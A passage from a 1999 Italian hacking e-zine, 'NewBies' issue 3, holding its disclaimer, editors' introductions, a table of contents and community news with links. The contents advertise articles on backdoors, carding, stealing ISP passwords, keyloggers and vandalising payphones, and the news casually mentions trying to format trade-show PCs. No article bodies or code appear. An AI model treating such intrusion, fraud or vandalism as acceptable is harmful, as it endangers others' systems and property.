Copy Link
Add to Bookmark
Report

NewBies 3

eZine's profile picture
Published in 
NewBies
 · 5 years ago

  


@-,”ì'ì”,.,”ì'ì”,.,”ì'ì”,.,”ì'ì”,.,”ì'ì”,-@
| _ _ ____ _ |
| | \ | | _____ _| __ )(_) ___ ___ |
-+- | \| |/ _ \ \ /\ / / _ \| |/ _ Y __|-+-
: | |\ | __/\ V V /| |_) | | __|__ \ :
| |_| \_|\___| \_/\_/ |____/|_|\___|___/ |
@-,”ì'ì”,.,”ì'ì”,.,”ì'ì”,.,”ì'ì”,.,”ì'ì”,-@

NEW BIES (num 3) (data 07/05/99)

[ powered By ZeroCool and N0bodY88 ]

DISCLAIMER LEGALE
------------------------------------------------------------------------------
IL NEWBIES STAFF NON SI ASSUME NESSUNA RESPONSABILITA' X L'UTILIZZO DELLE
TECNICHE SOTTO RIPORTATE, LE QUALI SONO STATE DISTRIBUITE UNICAMENTE X
CONDIVIDERE LE CONOSCENZE DA NOI "ACUISITE" (mitico edu...) E PER CERCARE
QUALCUNO CON CUI CONFONTARE LE NS ESPERIENZE E LE CONOSCENZE X MIGLIORARE
VICENDEVOLMENTE.....DIVERTENDOSI! N0bodY88 of NewBies Staff
------------------------------------------------------------------------------

PREMESSA
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
Questa e-zine e' nata in una giornata qualsiasi di gennaio, mentre 2 newbies
stavano parlando tra loro in IRC di non mi ricordo cosa. Da quel fatidico
giorno la e-zine e' cresciuta, le persone che ho contattato x scrivere un
articolo mi hanno dato la loro disponibilita' e entro alcuni giorni mi hanno
fatto avere il loro operato. Alcune persone hanno fatto tardi x notti intere
(fra cui il sottoscritto) ed hanno sacrificato il loro tempo x creare qualcosa
che fosse nuovo, divertente, che ci facesse diventare + bravi, + amici, + uniti
e forse...beh...forse anche + famosi...hihihi! Questo e' quello che abbiamo
realizzato insieme, collaborando e scambiandoci opinioni. Se questa e-zine
non vi piace, e' troppo semplice o e' stupida non scriveteci (oppure scriveteci
x migliorare un art. della e-zine sfruttando le vostre conoscenze) ma se solo
sara' piaciuta ad una persona, se solo un ragazzo dopo aver letto questa avra'
deciso di passare a linux, di programmare in visual basic, di farsi una propria
backdoor o di mettersi a studiare come si usa telnet (troppo poco attrezzato di
voci nei menu x essere quello tanto decantato dovunque, ma anche troppo simpatico
con il suo prompt a mo di Commodore 64) allora questa e-zine sara' servita a
qualcosa. E ricordate...newbies si nasce, hacker si diventa.
Buona lettura ^__^ N0bodY88
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

INTRODUZIONE:

Intro:
Hey benvenuti al numero 3 di questa nostra e-zines io e nobo siam sempre +
amici oramai e per questo lo saluto dicendo sei stramitico , saluto il mitico
\Spirit\ di bfi dicendo : bfi5 mi e'piaciuto molto [l'ho letto tutto di un
fiato ] , volevo farti cmq notare anche se non abbiamo fatto in tempo a
dirtelo prima su NewBies 2 ci siamo anche noi completamente dissociati
dall'apporre e divulgare green e per questo avevamo deciso di togliere la
pagina dei green anche se tutto cio' non e' ancora stato fatto . Voglio anche
farti notare che quelli esposti non erano veri e propri green ma numeri di
info o altro , che cmq non servono x collegarsi a internet , cmq accetto la
critica ovviamante giusta e concordo su come la pensi pienamente e colgo
l'occasione per essere stato cosi'poco furbo da non toglierli subito.
Colgo anche l'occasione dato che gia'molti me lo hanno fatto notare che un
paio di articoli sono stati rippati completamente in NewBies 2 da testi
inglesi da alcuni dei nostri collaboratori , inizio col dire che sia io che
N0bodY88 non ci riteniamo responsabili per simili lamerate e che cmq chi ha
fatto la cazzata di rippare e' stato immediatamente espulso dalla crew che
preferisce avere 10 articoli fatti bene che 100 fatti alla cazzo . Spero di
essermi fatto capire bene , credo che rippare sia scorretto soppratutto
verso chi ha lavorato a un testo giungendo con il proprio lavoro a un
risultato ; io sinceramente mi incazzerei come una mina se qualcuno rippasse
i miei articoli [anche se non penso che meritino di essere rippati
[doppiosenso scusate] ] .... Saluto tutto quelli che conosco in internet e
in particolare: N0bodY88 , Ax1s , DarkSchnaider [o meglio Garo della
Garofanosoft ] , \Spirit\ , Cavallo, quelli di rootsheel , i miei amici di
Telstra , i miei amiconi di efnet in particolare dei canali #roms , #emu ,
#italia su efnet siete mitici , quelli su irc.tin.it nei canali #hackernow
e #hackers , w00w00 , RaffyCrash , quelli di #emuita in particolare F{G}F ,
Spino , Etron e Mythos e questa volta il mio saluto va' con tutto il cuore
a due persone in particolare : Kevin [liberateloooooo] e SKuZ [una persona
che sa' quello che vale eppure non si va'vanta].
Raga ci si vede tutti all'Hackit99

ZeroCool
Provoces the best you will die like a slave

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍËÍËÍËÍËÍËÍËÍËÍËÍËÍËÍËÍËÍËÍËÍËÍËÍËÍËÍËÍËÍËÍËÍËÍËÍËÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º ARTICOLO ÌÍÎÍÎÍÎÍÎÍÎÍÎÍÎÍÎÍÎÍÎÍÎÍÎÍÎÍÎÍÎÍÎÍÎÍÎÍÎÍÎÍÎÍÎÍÎ͹ AUTORE º
ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹
|PREMESSA N0bodY88 |
|INTRODUZIONE ZeroCool |
|NOVITA' NewBies Staff |
³ BFI, RINGZERO, SPAGHETTI PHREAKERS E IL FUTURSHOW N0bodY88 ³
³ QUALCHE LINK E QUALKE NEWS ZeroCool ³
³ ELECTRO-RIPPER I DDT E I DIB N0bodY88 ³
³ PRESO GRANDE HACKER CHE USAVA UN VIRUS !!! 3uC@50L ³
³ L'ANGOLO DELLA POSTA ZeroCool ³
³ RIEPILOGO LINK IN ORDINE ALFABETICO N0bodY88 ³
|INFO SUGLI ALLEGATI NewBies Staff |
³ 2 PAROLE SUGLI ALLEGATI N0bodY88 ³
|PROGRAMMAZIONE NewBies Staff |
³ C TUTORIAL [ TERZA PARTE ] ElectroRipper ³
³ MIRC SCRIPTING TUTORIAL [ PRIMA PARTE ] SpYmAsTeR ³
³ NASCONDERE UN PROGRAMMA ALL'INTERNO DI UN ALTRO IN PASCAL Master-Parsifal³
³ PASCAL TUTORIAL [ SECONDA PARTE ] T0rment0 ³
³ PRIMI PASSI VERSO L'ASSEMBLER [ PRIMA PARTE ] So[RD]eN ³
³ SUGGERIMENTI PER IL VISUAL BASIC T0rment0 ³
³ BACKDOORS FOR DUMMIES (OVVERO COME FARSI UNA BACKDOOR) ©ipLey ³
³ PROGRAMMAZIONE DI DEMO X NINTENDO 64 ZeroCool ³
|ANARCHIA, BANCHE, BOMBE ET SIMILI NewBies Staff |
³ COME RENDERE INUTILIZZABILE UNA CABINA TELEFONICA Fusyllo ³
³ COME HACKERARE UN COIN-OP PiNbALL ³
³ "COMPLETAMENTO" DELL'ART APPARSO SU NewBies 2 SULLE BANCHE Anonimo ³
³ LE "FAMOSE" BOLLE MICROSOFT Dante Alighieri³
³ W LA PESCA DI FRODO Anonymous ³
³ W I PROF ASSENTI DA sQuola Anonymous ³
³ L'ARTE DEL CARDING Killex ³
³ ARRIVANO I VANDALI !!! Fusyllo ³
³ POSTING:SE IO SONO IO E TU 6 TU KI E' IL + SCEMO TRA NOI 2 Dante Alighieri³
³ COME HACKERARE UNO SCOOTER PiNbALL ³
|CRACKING NewBies Staff |
³ COME CRACKARE UN PROGRAMMA Quequero ³
³ PRINCIPI DI BASE X CRACKARE UN GIOCHINO AnArChY ³
³ CRACKARE TELEPORT PRO 1.29 Quequero ³
³ CRACKING, QUESTO SCONOSCIUTO SpYmAsTeR ³
³ CRAKKIAMO AGE OF EMPIRES DeViLNeT ³
³ UN BREVE TUTORIAL SUI GENERATORI DI CHIAVI +MaLaTTiA ³
³ UN ESEMPIO DI DLL REVERSING -NeuRaL_NoiSE ³
³ PE-CRYPTERS: UNO SGUARDO DA VICINO AL C.D. "FORMATO" PE Kill3xx ³
³ MANUALE DI CRACKING S2 ³
|TEORIA NewBies Staff |
³ COME FUNZIONA NETSTAT Barninga Z ³
³ SISTEMI OPERATIVI Frensis ³
³ KERBEROS...IL CAGNACCIO Ulntwh99 ³
³ GESTIRE + SCHEDE DI RETE CON WINDOWS 95 Barninga Z ³
³ TCP/IP (QUELLO CHE ANCORA NON E' STATO DETTO) DarkSide ³
³ NETWORK UTILITIES FOR DUMMIES Firebeam ³
³ DALLA PARTE DEI SYSADMIN Alpha-666 ³
³ L'ABC DELLE RETI N0bodY88 ³
³ LA SCATOLA MAGICA GCC ³
|TRADUZIONI NewBies Staff |
³ PRESENTAZIONE Wurz ³
³ EXPLOITS Wurz ³
³ COME AVERE LA PASSWORD ISP DEL TUO AMICO/NEMICO Wurz ³
³ LARGE PACKET ATTACKS (ALIAS PING DELLA MORTE) Wurz ³
|INTERVISTE NewBies Staff |
³ INTERVISTA A UN HACKER - REDATTORE DI E-ZINE N0bodY88 ³
³ INTERVISTA A UNA CREW POCO CONOSCIUTA... NonHoNome ³
|LOG DEL MESE NewBies Staff |
³ M0F0Z LAMER O HACKER ??? Kalidor ³
³ SCUSSA CHE TU CCIAI UNA CARTA DI CREEDITO? N0bodY88 ³
|PHREAKING NewBies Staff |
³ ASCOLTARE LE CHIAMATE DEI CELLULARI Fusyllo ³
³ SEGRETERIA DEI CELLULARI TIM Velvet ³
³ BLUE BOX VaFfa ³
³ BOXA DI QUI, BOXA DI LA' ZeroCool ³
|VIRUS NewBies Staff |
³ FILOSOFIA DEL VIRER MODERNO Caos83 ³
³ DABATCHA PRESENTS: VBASIC DAFT-PROGRAMMING ~ÑaBat½ha ³
³ TIPI DI VIRUS Quequero ³
³ PEPSI5: PACCHETTI UDP A TRADIMENTO T0rment0 ³
³ MACRO - VIRUS T0rment0 ³
|IL MONDO DI IRC NewBies Staff |
³ COME PIAZZARE UN BOT-to SENZA FARCELO SALTARE The Sciack ³
³ IRC NETWORKS SpYmAsTeR ³
³ INTERVISTA CON UN IRCOP SpYmAsTeR ³
³ IRC SECURITY SpYmAsTeR ³
³ NONSOLOKICK PASSWORDZ 1-v-n0-n4m3 ³
³ IL PUNTO SU IRC TetoFuck ³
³ GUIDA PRATICA AL SETTAGGIO DI UN BOT Dante Alighieri³
|HACKING DI TUTTO DI PIU' E DIVERSI ART. MOLTO INTERESSANTI NewBies Staff |
³ LO CHIAMAVANO GUEST STAR Cavallo ³
³ TRASHING.. CHE PASSIONE! HarLoK ³
³ PIEDINI CHE CASINO! RigoR MorteM ³
³ AGGRESSOR SpYmAsTeR ³
³ GUIDA AL NETBUS 2.0 Quequero ³
³ BREVI SAGGI DI NETWORKING SOTTO LINUX 1 Alpha-666 ³
³ TV HACKING E SATELLITE CRACKING ZeroCool ³
³ BREVI SAGGI DI NETWORKING SOTTO LINUX 2 Alpha-666 ³
³ SISTEMI DI NUMERAZIONE (BINARIO, DECIMALE, ESADECIMALE) Quequero ³
³ NAVIGHIAMO AL NETCAFE' IN ALLEGRIA Unlt ³
³ COME CREARVI UN MENU DI BOOT PERSONALIZZATO SpYmAsTeR ³
³ COME SCAVALCARE LA PASSWORD DEL BIOS Yago ³
³ LA STORIA DELL'HACKING T0rment0 ³
³ L'ANGOLO DEI FILM INTERESSANTI N0bodY88 ³
³ UNIX AIX ALLA JOHN THE RIPPER McFly ³
³ ARTICOLO DI CHRISTOPHER KLAUS X ROOTSHELL ZeroCool ³
³ LISTA PORTE Dante Alighieri³
³ NETBUS Sephiroth ³
³ KEY LOGGER QUESTO SCONOSCIUTO Sephiroth ³
³ OVERCLOCKING [ SECONDA PARTE ] Ulntwh99 ³
³ ICQ EXPLOIT OVVERO COME FOTTERE LE PASS Sephiroth ³
³ OVERCLOCK E OVERCLOCK VOODOO 1 SoftWord ³
³ CHE ABBIANO CAPITO QUALCOSA? Ja[3]Ck ³
³ HACKING DEI COMPUTER NETBIOSSATI Kalidor ³
³ TRE SEMPLICI BACKDOOR HaMelIn ³
³ CACHE DI IE...DOVE HAI MESSO IL MIO MIDI??? N0bodY88 ³
³ SICUREZZA E LINUX [mAx] ³
³ UNA STORIA SULLA TELEKOZZ StuZzik0&|bLeaH³
³ AMMINISTRAZIONE AVANZATA DI UN SISTEMA UNIX TetoFuck ³
³ COME OVERCLOCKARE IL NS. AMATO MASTERIZZATORE Brusto ³
³ TRUCCHI SU DOS Quequero ³
³ S.A.T.A.N. Anti-social ³
³ RADIO CHE PASSIONE Ulntwh99 ³
³ MILANO CITTA' DI FUOCO Ulntwh99 ³
|CHEAT NewBies Staff |
³ TRUCCHI NEI GIOCHI CHE COMINCIANO X A E B P4p31_N0 ³
|SALUTI NewBies Staff |
|PARZIALE ASSENZA DI N0bodY88 N0bodY88 |
|NEWBIES STAFF N0bodY88 |
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
²°°°°°°°°°°°ÛÛÛ°°°ÛÛ°°ÛÛÛÛÛÛ°°ÛÛ°°°°°°°ÛÛ°°ÛÛ°°ÛÛÛÛÛÛÛÛÛÛ°°°°°°°°°°ÛÛ°°°°°°°°²
²°°°°°°°°°°°ÛÛÛÛ°°ÛÛ°°ÛÛ²²ÛÛ°°°ÛÛ°°°°°ÛÛ°°°°°°°Û°°°ÛÛ°°°Û°°°°°ÛÛÛ°°ÛÛ°°°°°°°°²
²°°°°°°°°°°°ÛÛ°ÛÛ°ÛÛ°°ÛÛ²²ÛÛ°°°°ÛÛ°°°ÛÛ°°°°ÛÛ°°ÛÛÛ°ÛÛ°ÛÛÛ°°°°ÛÛ²ÛÛ°°°°°°°°°°°²
²°°°°°°°°°°°ÛÛ°°ÛÛÛÛ°°ÛÛ²²ÛÛ°°°°°ÛÛ°ÛÛ°°°°°ÛÛ°°°°°°ÛÛ°°°°°°°ÛÛÛÛÛÛÛ°°°°°°°°°°²
²°°°°°°°°°°°ÛÛ°°°ÛÛÛ°°ÛÛÛÛÛÛ°°°°°°ÛÛÛ°°°°°°ÛÛ°°°°°°ÛÛ°°°°°°ÛÛ°°°°°ÛÛ°°°°°°°°°²
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ BFI, RINGZERO, SPAGHETTI PHREAKERS E IL FUTURSHOW ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

Salve a tutti e benvenuti a questo nuovo numero di NewBies la e-zine fatta da
(x la maggior parte) e x newbies. Allora le novita' di questo mese o + sono
essenzialmente le seguenti, riportate in ordine alfabetico:

BFI = ebbene si non ci credo ancora su BFI 5 si e' parlato di noi! Un tnx quindi
a /sPIRIT/ al quale promettiamo qui sulla e-zine di non trattare + di
green e al quale diciamo anke che una collaborazione con la deagostini
per un corso di hacking con tanto di bb inclusa....e' una bella idea!!!
Un tnx a tutto lo staff di BFI quindi che speriamo vada avanti come e
meglio di Phreak. Il sito di BFI x quelle poke persone che tornano adesso
da una spedizione di 2 anni al centro del polo nord, e' questo:
http://softpj98.bbk.org/main.html e tanto x puntualizzare ricordiamo che
BFI e Softpj NON sono la stessa cosa quindi non confondeteli, ma amateli
entrambi :). AGGIORNAMENTO: se non potevo credere che su BFI si parlava di
noi provate a immaginarvi cosa si prova a ricevere in mail un articolo da
un certo (sconosciuto ai + =)) Cavallo de Cavallis e poi ditemi...

FUTURSHOW = gruppo neonato che...ma che cax dico? Allora il futurshow sapete
tutti cos'e' e se non lo sapete vi basti sapere (trovatemi uno che
dica lo stesso verbo tre volte in 12 parole!) che e' un insieme di
molti stand (ben 5!!!) dove ci si va a vedere le diverse radio, i
vari gestori di telefonia che sono un piacere e ve lo giuro sul
fatto che vado a messa ogni mattina....cmq direte voi se sto fs e'
cosi' na m***a xche' ce ne stai a parlare? Allora un certo tipetto
non molto conosciuto (hihihi) che in rete gira col nick RigoR MorteM
ha deciso di smettere di trovarsi a scrivere con un bel po' di gente
e ha avuto l'idea...e se ci si vedesse al fs in real mode? Alche'
io ho chiesto ad alcuni del NewBies Staff di venire, poi si sono
aggiunti altri e dai 20 che RigoR aveva in mente ci siamo trovati
in 35 (o+) tra i quali vi era gente degli Spippolatori (qualcuno...)
di BFI (2), del Softpj (2), degli Spaghetti Phreakers (1), e del
NewBies Staff (8 se non sbaglio) quindi abbiamo passato una
fantastica giornata (anke se un po' frammentati) con formattazione
(o tentata tale) di qualke pc della tin, un po' di surf su cd MS
con realativa bolla annessa (Dante docet) ci siamo divertiti un
casino, abbiamo abbinato ai nick qualke faccia e alla fine ce ne
siamo tornati a casetta propria...se volete saperne di + leggetevi
la recensione di RigoR MorteM sulle sue disavventure con gli addetti
microsoft riportata nel numero 5 di NetRunners che trovate anke nel
formato html sul fantastico sito www.spippolatori.com... cmq una
cosa la devo dire...il fs e' una....lasciamo perdere...

NETRUNNERS = ebbene si' e' uscito il mitico numero 4 di NetRunners dove trovate
un bel po' di materiale da inserire nei ns hd mentali ^_^ ...e mi
dicono stia quasi x uscire il 5ø numero, ma...cavolo almeno non
sbavate sulla stampa di NewBies! hihihi Master(C) AGGIORNAMENTO =
ebbene si' e' uscito anke il numero 5 che ho potuto visionare solo x
poco causa prob. miei ma come al solito, 1 tremenda maledizione si
abbattera' su coloro che non la scarichera'!!!

RINGZ3R0 = con questo mitico gruppo abbiamo fatto un patto straconveniente (x
noi) nel senso che noi prendiamo alcuni dei loro articoli e li
pubblichiamo mentre loro...si accontentano di vederli pubblicati!
Sperando che dopo questo numero di NewBies non cambino sito, canale
irc x la vergogna (hihihi) saluto tutti i membri, gli external con
i quali, nel canakle, mi sono sentito veramente un programmatore di
m3rd4 xche' non capivo un cax....hihihi. PS: il loro sito che se
volete vivere dovrete visitare almeno una volta alla settimana xche'
una volta visitato provoca dipendenze (ve lo giuro!) e' il seguente:
http://ringzer0.cjb.net e ficcatevelo bene nei bookmark xche' se
amate anke solo fare programmi alla cax [come i miei] questo e' un
must! (PS: con quest'ultima frase non volevo xo' offendere i Ring0)

SPAGHETTI PHREAKERS = sito raggiungibile a http://come.to/spaghettiphreakers/
dove CdP, Blum e HaRLoK guidano un gruppo che imo puo'
portare a risultati mooooolto buoni, e se proprio non vi
bastasse la gia' presente lista di art disponbili su
cellulari, telefoni et simili, c'e' anke il famoso e
mitico cookbook di avatar. Qui sulla e-zine propongo ad
HaRLoK di valutare se fare entrare Dante negli Spaghetti,
il xche'? Ti ricordi del suo cellulare? Si si quello che
assomigliava a una cornetta di una cabina...hihihi
AGGIORNAMENTO: ora ho lo stesso modello di cellulare di
Dante :D ma il mio non funzia :((((( hihihi

SPIPPOLATORI = x i soliti poki che non lo sanno finalmente potete andare sul
sito www.spippolatori.com dove tra l'altro ci siamo anke noi
di NewBies, quindi grazie a tutti gli Spippolatori, tra i quali
spicca il Webmaster..chi e'? A voi l'ardua prova di indovinare!
Cmq andateci spesso e se potete scaricatevelo tutto che e' + di
must x qualunque hacker/phreaker/cracker/virus writer/newbies.
PS: se non ci andrete entro 2 ore dall'apertura di questo txt
i vs hd diventeranno buoni solo x giocarci come fresbee!!!!
Da segnalare il fatto che pur avendo come webmaster una persona
che lavora mooooolto [pure troppo direi!!!] il sito ogni
settimana viene aggiornato con sempre nuove guide e sempre +
guide e/o mirror di siti vengono addati [tanto x citarne alcuni
Ring0, cookbook di Avatar, NetRunners, NewBies e molti altri
vengono addati gg dopo gg quindi non esitate e andate giu' di
teleport a manetta :DDD]

N0bodY88

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ QUALCHE LINK E QUALKE NEWS ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

Un poco di news generali :
come al solito questa e' una delle parti che preferisco fare , qui si parla
di news generali , articoli , notizie , siti e nuovi programmi e secondo me
e' una buona buona parlare anche di un poco di argomenti divertenti in una
ezines cosi' specialistica.
Allora inizio a darvi il mio caro bookmark del mese con i miei sitazzi
preferiti

il mio sito under construction
http://www.wajens.no/

elenco telefonico mondiale , bellissimo da vistare assolutamente
http://www.zophar.net

Sito di emulazione
http://members.xoom.com/falconpcs/

Emulatore Saturn
http://members.xoom.com/shuma_gorath/

Emulatore Saturn
http://www.emuunlim.com

Sito Di Emulazione
http://www.moonlitcoalition.com/sunset/compat/index.html

Compatibily list For SunSet [Emulatore N64]
http://www.snes9x.com

Emulatore SuperNintendo
http://www.emucamp.com

Emulazione In Generale
http://www.bleem.com

Emulatore PlayStation
http://www.elitegamer.com

Emulazione in Generale
http://www.poli.studenti.to.it/ftp/pub/music/prometeo/Giapponesi/

Prometeo
ftp://www.gnet1.com/pub1/roms/

Rom and More
http://138.232.233.38/hitman/capcom.htm

Cps1 e 2 [solo una]
adress: http://perso.infonie.fr/dam07

http://www.emux.com
http://www.classicgaming.com/thedump/
hem.passagen.se/ogg
http://neocharity.retrogames.com
http://naz.retrogames.com
http://home.columbus.rr.com/apollo69
http://www.retrogames.com
http://www.elitegamer.com/
http://www.hitsquad.org/
http://summer64.hitsquad.org/

Okki per me sti link sono bellissimi e riguardano in particolare l'emulazione.
Faccio notare per i principianti che e' uscita una distribuzione di linuzzo
denominata Mandrake , abbastanza semplice da usare ma molto pesante sul
sistema a causa della gui che si chiama kde.
Molte news riguardo programmi e exploit sono uscite in particolare
se volete cercare exploit consiglio il solito mega sitone:
www.rootshell.com
e per siti / programmi nuovi il mitico astalavista
Bha per linux consiglio : http://www.linuxgames.com/ per i giochi sempre
aggiornato e per il resto guardate http://linux.box.sk/ troverete sempre
qualcosa di aggiornato o http://www.slashdot.org/ senno'
http://www.freshmeat.net/... Bon Nuit

ZeroCool
Provoces the best you will die like a slave

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ ELECTRO-RIPPER I DDT E I DIB ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

Allora in questo spazio volevo parlarvi di due nuove e-zine che andranno ad
arricchire l'underground italiano sulla rete (troppe volte sottovalutato).
La prima e' gestita da ElectroRipper (uno dei ns mitici scrittori) e potete
reperirla sul web o su irc chiedendo a me, a ElectroRipper o a qualcuno
cmq su #hackernow di IrcNet (solo xche' non so l'url da dove scaricare la
e-zine in questione, dato che appena mi arriva l'url saremo felici di
comuni carvelo [ps: a me l'hanno passata se no mettevo l'url]). Il nome
di questa nuova e-zine e' Vana Imago ed e' visualizzabile sotto dos/windows
dato che e' in formato .exe. L'interfaccia grafica e' molto bella e non occupa
neanche tanto. Io ho dato un letta agli articoli e non sembrano niente
male...se poi pensate che e' solo il primo numero di una lunga serie :)
vi sfregerete le mani dalla contentezza!!!
L'altra e-zine che sta nascendo e' curata dai DDT (Digital Destruction Team)
che potete trovare su #ddt.ita di IrcNet. Non ho visto neanche un loro
articolo finora (di quelli che andranno sulla e-zine) ma conoscendo chi ci
scrivera' (gente di Spaghetti, alcuni dei 7th_klan e gente preparata quali
Vecna, Lord_Destruction, HaRLoK...i DDT insomma!) so gia' che ne verra' fuori
una e-zine veramente niente male!
Per quanto riguarda i nuovi gruppi siamo venuti a conoscenza di un nuovo
gruppo formatosi da poco che va sotto il nome di DIB e che prossimamente
scrivera' qualke articolo x noi :) Per adesso sappiamo solo che DIB sta per
Digital Italian Bastards e che diventeranno un bel gruppo tosto (speriamo :).
Non ci resta quindi che augurare un bocca al lupo x entrambe le e-zine ai
nuovi gruppi quali i DIB e molti altri che si stanno formando; ci tengo a
precisare che NON c'e' nessuna rivalita' [ almeno simp ] tra le varie e-zine,
anzi prevale lo spirito di collaborazione, d'altra parte tutti lo facciamo per
insegnare quel poco che sappiamo e x imparare di + :-)
Se volete mandare una mail in cui indicate il nome della vs crew e esporci i
vs obbiettivi, i requisiti x essere ammessi, potremo mettere in contatto gente
che magari non gira dove girate voi, ma che cmq ha gli stessi vs interessi.
E ricordate...come disse un grande...."Ci sono tre possibbilita': e'
possibbole, non e' possibbole, e' IMPOSSIBBOLE!!!. "


PS: se dopo avere visto le 2 e-zine direte "Che figata!!!"...be...io ve lo
avevo detto :-))))
PSS: ho sentito ElectroRipper e ho l'url dal quale potete scaricarvi la sua
nuova e-zine ---------------> http:/members.xoom.com/eripper/index.htm
PSSS: simp = secondo il mio parere [ SpaceIce rulez :D ]

Sii-iiuuu-suuunnn N0bodY88

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ PRESO GRANDE HACKER CHE USAVA UN VIRUS !!! ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

Riporto qua sotto un art. apparso sull'ultimo bollettino delle novita' di
VOLftp sperando di non creare casini pubblicando un loro articolo:

>Se vi siete ripresi (noi ancora no!) continuiamo con il notiziario di
